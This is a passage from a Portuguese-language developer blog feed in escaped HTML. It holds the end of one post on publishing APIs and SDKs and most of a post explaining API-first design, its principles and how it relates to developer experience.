        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de exposição de documentação&quot;
        title=&quot;Exemplo de exposição de documentação&quot;
        src=&quot;/static/c8db147667ff9c0ef3f350067bc9cb50/50383/api-first-engage.png&quot;
        srcset=&quot;/static/c8db147667ff9c0ef3f350067bc9cb50/8514f/api-first-engage.png 192w,
/static/c8db147667ff9c0ef3f350067bc9cb50/804b2/api-first-engage.png 384w,
/static/c8db147667ff9c0ef3f350067bc9cb50/50383/api-first-engage.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de exposição de documentação&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Além disso, existem &lt;em&gt;marketplaces&lt;/em&gt; de &lt;em&gt;APIs&lt;/em&gt; espalhados pela &lt;em&gt;web&lt;/em&gt; que podem servir como canal de propaganda da sua &lt;em&gt;API&lt;/em&gt;. O &lt;a href=&quot;https://rapidapi.com/&quot; title=&quot;Find and Connect to Thousands of APIs&quot;&gt;RapidAPI&lt;/a&gt; é um bom exemplo de plataforma para conectar-se
com possíveis consumidores.&lt;/p&gt;
&lt;p&gt;Não esqueça que propiciar &lt;em&gt;SDKs&lt;/em&gt; para os seus consumidores faz parte dessa etapa. Não basta apenas escrevermos o &lt;em&gt;backend&lt;/em&gt;,
precisamos nos engajar em escrever clientes para diferentes linguagens. O &lt;a href=&quot;https://swagger.io/tools/swagger-codegen/&quot; title=&quot;Generate server stubs and client SDKs for any API&quot;&gt;&lt;em&gt;Swagger Codegen&lt;/em&gt;&lt;/a&gt; pode ajudar nessa tarefa, gerando &lt;em&gt;SDKs&lt;/em&gt;
a partir da especificação da sua &lt;em&gt;API&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Abordamos o processo, os passos, e quais ferramentas podemos utilizar para atender os requisitos necessários
em cada etapa. Faltou abordar de forma prática como &quot;colocar isso tudo junto para funcionar&quot;. O &lt;em&gt;post&lt;/em&gt;
ficou gigante, e possivelmente abordaremos em uma parte 2 como colocar isso tudo em um &lt;em&gt;CI&lt;/em&gt;, e em como
orquestrar &lt;em&gt;release&lt;/em&gt; de especificação e &lt;em&gt;deploy&lt;/em&gt; de aplicação.&lt;/p&gt;
&lt;p&gt;Há uma pluralidade interessante de ferramentas e serviços que giram em torno do conceito de &lt;em&gt;API-First&lt;/em&gt;. Se
por um lado isso pode significar aumentar a complexidade do seu processo de desenvolvimento, por outro é
também uma certa garantia de que existem outros &lt;em&gt;players&lt;/em&gt; investindo nessa prática, e que se você tem na sua
&lt;em&gt;API&lt;/em&gt; o seu principal produto, talvez ficar por fora possa ocasionar um problema de estratégia.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dredd.org/en/latest/index.html&quot;&gt;Dredd - HTTP API Testing Framework&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openapi.tools/&quot;&gt;OpenAPI.Tools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.programmableweb.com/news/how-to-design-great-apis-api-first-design-and-raml/how-to/2015/07/10&quot;&gt;ProgrammableWeb - How To Design Great APIs With API-First Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stoplight.io/p/docs/gh/stoplightio/prism&quot;&gt;Stoplightio - Prism&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/trimble-maps-engineering-blog/api-first-development-and-openapi-835afb46b7f1&quot;&gt;Trimble MAPS Engineering Blog - API-First Development and OpenAPI&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[O API-First]]></title><description><![CDATA[Tratar APIs como "first-class citizens" pode ser um desafio e tanto, principalmente quando estamos em um contexto
de entrega rápida ou de…]]></description><link>https://klauslaube.com.br/2020/02/21/o-api-first.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/02/21/o-api-first.html</guid><pubDate>Fri, 21 Feb 2020 09:15:00 GMT</pubDate><content:encoded>&lt;p&gt;Tratar &lt;em&gt;APIs&lt;/em&gt; como &quot;first-class citizens&quot; pode ser um desafio e tanto, principalmente quando estamos em um contexto
de entrega rápida ou de prova de conceito. Como desenvolvedor, admito que priorizo resolver a lógica de negócio
escrevendo código, do que discutindo contratos ou requisitos não funcionais.&lt;/p&gt;
&lt;h2&gt;Code-First&lt;/h2&gt;
&lt;p&gt;O modelo de trabalho ilustrado acima pode ser conhecido por &quot;bottom up&quot;, &quot;code first&quot;, ou apenas por &quot;aquela forma que a gente
geralmente utiliza em nossos projetos&quot;. Onde focamos primeiro no código, e
deixamos para depois questões relacionadas à integração dos componentes.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Kirsten Hunter&lt;/em&gt; &lt;a href=&quot;https://www.programmableweb.com/news/introduction-to-api-first-design/analysis/2016/10/31&quot; title=&quot;Introduction to API-First Design&quot;&gt;ilustra bem os efeitos colaterais de tal prática&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;APIs are created as an afterthought once the product has already been created as a tightly coupled system, with the frontend website and backend system entwined together in a highly codependent way and the REST API having to be ‘shoe-horned’ into this system as a separate entity.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Não há nada fundamentalmente errado com essa dinâmica (inclusive, &lt;a href=&quot;https://www.youtube.com/watch?v=Tb823aqgX_0&quot; title=&quot;Bottom Up vs Top Down Design in Clojure&quot;&gt;há opiniões a favor desse conceito&lt;/a&gt;), mas com o mundo
cada vez mais &quot;microservices-driven&quot;, pensar primeiramente na interface e em quem irá usá-la pode antecipar problemas, diminuir riscos e definir contratos mais sólidos.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/a9fdd4fffa4ffc01e8b677b38f1016e1/c08c5/captain-ux.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAwAF/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEAMQAAABx2BwJY//xAAbEAEAAQUBAAAAAAAAAAAAAAABAwACECExMv/aAAgBAQABBQINyCYkq/wc/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGRAAAQUAAAAAAAAAAAAAAAAAEAABAhEx/9oACAEBAAY/Ak16Yj//xAAdEAACAQQDAAAAAAAAAAAAAAAAAREQQWFxMYHB/9oACAEBAAE/IZINxsYNi6VLtnNx4KrD/9oADAMBAAIAAwAAABCDD//EABURAQEAAAAAAAAAAAAAAAAAAAAR/9oACAEDAQE/EIj/xAAVEQEBAAAAAAAAAAAAAAAAAAAAEf/aAAgBAgEBPxCq/8QAGxABAQACAwEAAAAAAAAAAAAAAREAITFBYYH/2gAIAQEAAT8QAhX3oGECjIGE0HH3GLnIesBqbgvkY6kLezP/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Capitão América levantando o martelo do Thor&quot;
        title=&quot;Não faça o dev ser merecedor para utilizar a sua API (comicbookmovie.com)&quot;
        src=&quot;/static/a9fdd4fffa4ffc01e8b677b38f1016e1/c08c5/captain-ux.jpg&quot;
        srcset=&quot;/static/a9fdd4fffa4ffc01e8b677b38f1016e1/7809d/captain-ux.jpg 192w,
/static/a9fdd4fffa4ffc01e8b677b38f1016e1/4ecad/captain-ux.jpg 384w,
/static/a9fdd4fffa4ffc01e8b677b38f1016e1/c08c5/captain-ux.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não faça o dev ser merecedor para utilizar a sua API (comicbookmovie.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Não é raro escutarmos em pleno 2020 histórias sobre times distintos trabalhando em uma grande solução, que quando
colocaram seus serviços para funcionar juntos, descobriram uma série de problemas de integração (ou até mesmo que eles
simplesmente não resolviam o problema).&lt;/p&gt;
&lt;h2&gt;O que é API-First?&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;API-First&lt;/em&gt; pode ser grosseiramente resumido em &quot;trate APIs como first-class citizens&quot;.&lt;/p&gt;
&lt;p&gt;Em outras palavras, a proposta é que &lt;em&gt;APIs&lt;/em&gt; sejam consideradas partes fundamentais
do ecossistema de um produto, devem ser parte de sua estratégia e construção,
e não apenas um &quot;extra&quot; ou um &quot;side product&quot;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;DZone&lt;/em&gt; define &lt;em&gt;API-First&lt;/em&gt; da &lt;a href=&quot;https://dzone.com/articles/an-api-first-development-approach-1&quot; title=&quot;An API-First Development Approach&quot;&gt;seguinte forma&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) is a strategy in which the first order of business is to develop an API that puts your target developer’s interests first and then build the product on top of it (be it a website, mobile application, or a SaaS software). By building on top of APIs with developers in mind, you and your developers are saving a lot of work while laying down the foundations for others to build on.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Elas devem ser tão cruciais quanto usuários são em estratégias &lt;em&gt;user-centric&lt;/em&gt; e a experiência
&lt;em&gt;mobile&lt;/em&gt; é em um &lt;em&gt;approach&lt;/em&gt; &lt;em&gt;mobile-first&lt;/em&gt;. Utilizar uma abordagem &lt;em&gt;api-centric&lt;/em&gt;
fará com que o &lt;em&gt;design&lt;/em&gt; funcione de uma ótica diferente (possibilitando maior cuidado em relação
a consistência e reuso), e que o negócio gire em torno do contrato que está sendo definido (ocasionando
maior interação com outros &lt;em&gt;stakeholders&lt;/em&gt; de forma antecipada, dentro do tempo de vida de desenvolvimento).&lt;/p&gt;
&lt;h3&gt;API-centric == Developer Experience&lt;/h3&gt;
&lt;p&gt;E se pararmos para analisar friamente o que essa ideia significa, ser &lt;em&gt;api-centric&lt;/em&gt; é no fim das contas ser &lt;em&gt;user-centric&lt;/em&gt; (ou &lt;em&gt;customer-centric&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/6618483d0a44ba07fd0bef3b4e2e25c5/50383/thor-ux.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 41.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABpElEQVQY0x3QXW/TMBQG4LSxY8dJbMcfcdzYSdN26UbTdSsDNHWb2LhglZBACAlxAUjsikuEuGA/ZL+XFB3pvXt0znsCDFEMcRRGGGJB2efd5unnp8t+iZnS1mvX+roZxp2s2/VpYQrrGz+b04wqSgJCKAgjEAIYwhTF786PHj/cXK6OIKExoZzJ22fTX/uLRdukhVe6lKXj0iCAeBIH29OVsyWCB48jfFaX367Wu3VHhU5oXkrx8Wzx+/5F19aE62Y6b6YzEqdwDH3BAz+xzlqEyCgAw+WV4D/utn1TGVeXttJSr616c+KVLJKEuspJqRGIwBhOtAgWTnRebObKcDIaAYrjfuYKxkSa6YySKJ4KNpecxmkp8krnGSHDgw5YsuDLbf1wXz/sl6831VAjDIC3pS+NFuqi747rimPSGp0B3AjWOT6sHXA0jnhCgj9fb/5+v75+fty6gdg0LzNhUqZwkr/c9vvdOR5Da7RizBCiMwLDCIUHH0MUrLrZarl4e7UtpEq1Y8ZnucmYRIS1Tf3+7pVTYlbpvpUTjmNwkOh/kgj9Aw24L1AZyg+IAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Thor preocupado com o martelo&quot;
        title=&quot;Não duvide da vontade do seu usuário. Ele vai descobrir um jeito de levantar o martelo (ibtimes.com)&quot;
        src=&quot;/static/6618483d0a44ba07fd0bef3b4e2e25c5/50383/thor-ux.png&quot;
        srcset=&quot;/static/6618483d0a44ba07fd0bef3b4e2e25c5/8514f/thor-ux.png 192w,
/static/6618483d0a44ba07fd0bef3b4e2e25c5/804b2/thor-ux.png 384w,
/static/6618483d0a44ba07fd0bef3b4e2e25c5/50383/thor-ux.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não duvide da vontade do seu usuário. Ele vai descobrir um jeito de levantar o martelo (ibtimes.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O usuário nesse caso passa a ser outro desenvolvedor (do mesmo time, da mesma empresa, ou de terceiros), portanto,
&lt;em&gt;Developer eXperience&lt;/em&gt; também é parte fundamental dessa estratégia, e vem embutida em sua prática, como ilustra o &lt;a href=&quot;https://swagger.io/resources/articles/adopting-an-api-first-approach/&quot; title=&quot;Leia mais no Swagger.io&quot;&gt;&quot;Understanding the API-First Approach to Building Products&quot;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Consumers of APIs are most often developers, and developer experience (DX) can make or break the success of an API. API first ensures that developers have positive experiences using your APIs. Well-designed, well-documented, consistent APIs provide positive developer experiences because it’s easier to reuse code and onboard developers, and it reduces the learning curve.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Os 3 princípios&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Lars Trieloff&lt;/em&gt;, no &lt;a href=&quot;https://medium.com/adobetech&quot; title=&quot;Leia o blog de tecnologia da Adobe&quot;&gt;&lt;em&gt;Adobe Tech Blog&lt;/em&gt;&lt;/a&gt;, escreve sobre
&lt;a href=&quot;https://medium.com/adobetech/three-principles-of-api-first-design-fa6666d9f694&quot; title=&quot;Veja mais no Adobe Tech Blog&quot;&gt;três princípios fundamentais para o sucesso da prática&lt;/a&gt;,
que acredito serem essenciais para compreender a real motivação por trás da ideia.&lt;/p&gt;
&lt;h3&gt;1. Your API is the first user interface of your application&lt;/h3&gt;
&lt;p&gt;Vale estressar esse ponto: Pessoas utilizando a sua &lt;em&gt;API&lt;/em&gt; são os seus usuários, e a sua &lt;em&gt;API&lt;/em&gt; precisa ser projetada com
esses usuários em mente.&lt;/p&gt;
&lt;p&gt;Partindo do princípio que a &lt;em&gt;API&lt;/em&gt; é o caminho mais importante de interação com o seu produto, isso significa que ela
deve ter um investimento de tempo equivalente (ou superior) ao tempo investido no desenvolvimento de (por exemplo) interfaces
gráficas.&lt;/p&gt;
&lt;h3&gt;2. Your API comes first, then the implementation&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Your implementation will change frequently, your API should not.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Sua &lt;em&gt;API&lt;/em&gt; se torna um contrato que servirá como especificação para a implementação, portanto, o ideal é pensarmos como
duas coisas separadas. Conforme a sua aplicação for evoluindo é muito provável que a sua implementação mude, mas o
contrato deve (dentro do possível) manter-se o mesmo.&lt;/p&gt;
&lt;h3&gt;3. Your API is described (and maybe even self-descriptive)&lt;/h3&gt;
&lt;p&gt;Sua &lt;em&gt;API&lt;/em&gt; precisa ser compreendida por pessoas que não estavam envolvidas em seu desenvolvimento. E aqui é difícil
escaparmos da necessidade de documentação.&lt;/p&gt;
&lt;p&gt;E por documentação, é impossível deixar de questionar todo o esforço envolvido em ter uma documentação válida, atualizada,
e que deveras é usável. Ferramentas estão disponíveis, e existem diferentes formas de automatizar esse processo. Tais
ferramentas servem não somente para a criação de documentação, mas também da especificação em si (que pode ser
também consumida por uma máquina). Por exemplo, &lt;a href=&quot;/tag/raml.html&quot; title=&quot;Leia mais sobre RAML&quot;&gt;&lt;em&gt;RAML&lt;/em&gt;&lt;/a&gt; e
&lt;a href=&quot;/tag/swagger.html&quot; title=&quot;Leia mais sobre Swagger&quot;&gt;&lt;em&gt;Swagger&lt;/em&gt;&lt;/a&gt;, já abordados no &lt;em&gt;blog&lt;/em&gt;, são excelentes iniciativas para
resolver essa questão.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 597px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/6d899d82e151f549bbd384bd3b7ba1de/7aa7d/thor-ux-2.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIDAQX/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAAB42pSJCFf/8QAGRAAAwADAAAAAAAAAAAAAAAAAAERAhAh/9oACAEBAAEFApyzFjHr/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGRAAAgMBAAAAAAAAAAAAAAAAEBEAASFx/9oACAEBAAY/AtiRrg//xAAZEAACAwEAAAAAAAAAAAAAAAAAARARMWH/2gAIAQEAAT8hboOmuxjEd6f/2gAMAwEAAgADAAAAEBjP/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAER/9oACAEDAQE/EJWP/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAER/9oACAECAQE/EK1//8QAHBABAAMAAgMAAAAAAAAAAAAAAQARITFBYXHw/9oACAEBAAE/EKcErTTj6pRVQAKU9wRCtrdmrOsA6L8/c5J//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Thor aliviado com o martelo&quot;
        title=&quot;Se o Thor tivesse uma documentação bacanuda para como funciona o martelo, Caps teria usado antes (cinemablend.com)&quot;
        src=&quot;/static/6d899d82e151f549bbd384bd3b7ba1de/7aa7d/thor-ux-2.jpg&quot;
        srcset=&quot;/static/6d899d82e151f549bbd384bd3b7ba1de/7809d/thor-ux-2.jpg 192w,
/static/6d899d82e151f549bbd384bd3b7ba1de/4ecad/thor-ux-2.jpg 384w,
/static/6d899d82e151f549bbd384bd3b7ba1de/7aa7d/thor-ux-2.jpg 597w&quot;
        sizes=&quot;(max-width: 597px) 100vw, 597px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Se o Thor tivesse uma documentação bacanuda para como funciona o martelo, Caps teria usado antes (cinemablend.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Mas além disso, seguir padrões é outro esforço que trará resultados na usabilidade da &lt;em&gt;API&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When it comes to documentation for APIs, structured documentation beats unstructured documentation. Following a standard pattern for URLs, resource types, request methods, headers, request parameters, and response formats will make it easier to explore and understand functionality, and reduces surprises when your API grows.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Hypermedia&lt;/em&gt; parece outra excelente ideia, uma vez que serve como documentação e oferece meios para
humanos e máquinas compreenderem melhor a sua funcionalidade.&lt;/p&gt;
&lt;h2&gt;Camadas: API-First Development x API-First Design&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;API-First&lt;/em&gt; é sobre fazer a &lt;em&gt;API&lt;/em&gt; antes da interface &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; e &lt;em&gt;mobile&lt;/em&gt;? Ou
seria sobre primeiro fazer o &lt;em&gt;design&lt;/em&gt; da &lt;em&gt;API&lt;/em&gt; e a partir daí passar para a implementação?&lt;/p&gt;
&lt;p&gt;Uma ótica interessante sobre esse debate pode ser lida no &lt;a href=&quot;https://apievangelist.com/2014/08/11/what-is-an-api-first-strategy-adding-some-dimensions-to-this-new-question/&quot; title=&quot;Leia mais no API Evangelist&quot;&gt;&quot;What Is An API First Strategy? Adding Some Dimensions To This New Question&quot;&lt;/a&gt;, do &lt;em&gt;apievangelist.com&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Durante a pesquisa para a escrita desse &lt;em&gt;post&lt;/em&gt;, fui exposto a diferentes perspectivas, e é muito provável que eu
tenha apresentado elas de forma &quot;misturada&quot; até aqui:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Do ponto de vista de negócio, é sobre ter uma &lt;em&gt;API&lt;/em&gt; primeiro e torná-la um produto &lt;em&gt;per se&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Do ponto de vista de tecnologia, é sobre ter uma plataforma primeiro;&lt;/li&gt;
&lt;li&gt;Do ponto de vista de arquitetura, é sobre ter um &lt;em&gt;design&lt;/em&gt; coeso, reusável, e construído através da colaboração de diferentes &lt;em&gt;stakeholders&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Do ponto de vista de &lt;em&gt;UX&lt;/em&gt;, é sobre ter uma &lt;em&gt;API&lt;/em&gt; bem estruturada e documentada;&lt;/li&gt;
&lt;li&gt;Do ponto de vista do desenvolvedor, é sobre ter uma especificação antes de partir para a implementação.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Qual visão você pretende adotar depende muito do contexto. Haverá casos em que o produto já existe,
soluções já estão no ar, e você fará o movimento para um consumo baseado em &lt;em&gt;APIs&lt;/em&gt;. Ou, com sorte, você fundará
uma &lt;em&gt;startup&lt;/em&gt; e terá controle o suficiente para primeiramente produzir uma &lt;em&gt;API&lt;/em&gt; e depois as interfaces gráficas.&lt;/p&gt;
&lt;p&gt;Assim como há diferentes &quot;níveis de &lt;em&gt;REST&lt;/em&gt;&quot; que podemos usar no cotidiano, &lt;em&gt;API-First&lt;/em&gt; pode ser adotado em diferentes níveis
e maneiras.&lt;/p&gt;
&lt;p&gt;No meu caso, que atualmente trabalho em um ambiente &lt;em&gt;enterprise&lt;/em&gt; e tenho pouca influência sobre o negócio, é basicamente
sobre &lt;a href=&quot;https://en.wikipedia.org/wiki/Design_by_contract&quot; title=&quot;Design by contract&quot;&gt;discutir o contrato primeiro&lt;/a&gt;, e ter uma especificação que sirva como documentação e que guie o meu desenvolvimento.&lt;/p&gt;
&lt;h2&gt;Os passos&lt;/h2&gt;
&lt;p&gt;Na primeira vez que ouvi falar sobre esse conceito, me perguntei como que de forma prática é possível exercitá-lo. De
lá para cá já me deparei com diferentes formas e processos para adoção.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/314f16d88e407ea33e7288faad41c6c0/07f3a/captain-ux-2.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAgP/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/aAAwDAQACEAMQAAABS2n1LpEJf//EABwQAAMAAQUAAAAAAAAAAAAAAAECAxIABBEhQv/aAAgBAQABBQIYnU8Xou3lx5ioYv0f/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFhEBAQEAAAAAAAAAAAAAAAAAAAER/9oACAECAQE/AYx//8QAGhAAAgIDAAAAAAAAAAAAAAAAAAEQIRESkf/aAAgBAQAGPwK1w1dS8lH/xAAbEAACAwADAAAAAAAAAAAAAAAAAREhMUFhkf/aAAgBAQABPyF1WX4HzqdNSX3KI3zI4lkqKlH/2gAMAwEAAgADAAAAEB/v/8QAGBEBAAMBAAAAAAAAAAAAAAAAAQARITH/2gAIAQMBAT8QeWxxqf/EABgRAAMBAQAAAAAAAAAAAAAAAAABESFR/9oACAECAQE/ENOIrp//xAAcEAEAAwADAQEAAAAAAAAAAAABABEhQWFxMaH/2gAIAQEAAT8QEBBVel+cxaY1A/PY9VUUwX+wHOBaPUs0LdtJZwjVD2z/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Capitão América com o martelo do Thor&quot;
        title=&quot;Ver outro dev usando sua API é tão sensacional quanto o Caps usando o martelo (youtube.com)&quot;
        src=&quot;/static/314f16d88e407ea33e7288faad41c6c0/07f3a/captain-ux-2.jpg&quot;
        srcset=&quot;/static/314f16d88e407ea33e7288faad41c6c0/7809d/captain-ux-2.jpg 192w,
/static/314f16d88e407ea33e7288faad41c6c0/4ecad/captain-ux-2.jpg 384w,
/static/314f16d88e407ea33e7288faad41c6c0/07f3a/captain-ux-2.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Ver outro dev usando sua API é tão sensacional quanto o Caps usando o martelo (youtube.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Inclusive, durante meu período na &lt;a href=&quot;https://loadsmart.com/#/&quot; title=&quot;Book a truck in seconds&quot;&gt;&lt;em&gt;Loadsmart&lt;/em&gt;&lt;/a&gt;, cheguei a
falar exatamente sobre isso em um
&lt;a href=&quot;https://www.slideshare.net/kplaube/api-first-design&quot; title=&quot;Veja os slides da apresentação API First Design: Insights from the real-life usage&quot;&gt;&lt;em&gt;lightning talk&lt;/em&gt; na &lt;em&gt;Python Sul&lt;/em&gt;&lt;/a&gt;, e sobre como estávamos montando esse processo.&lt;/p&gt;
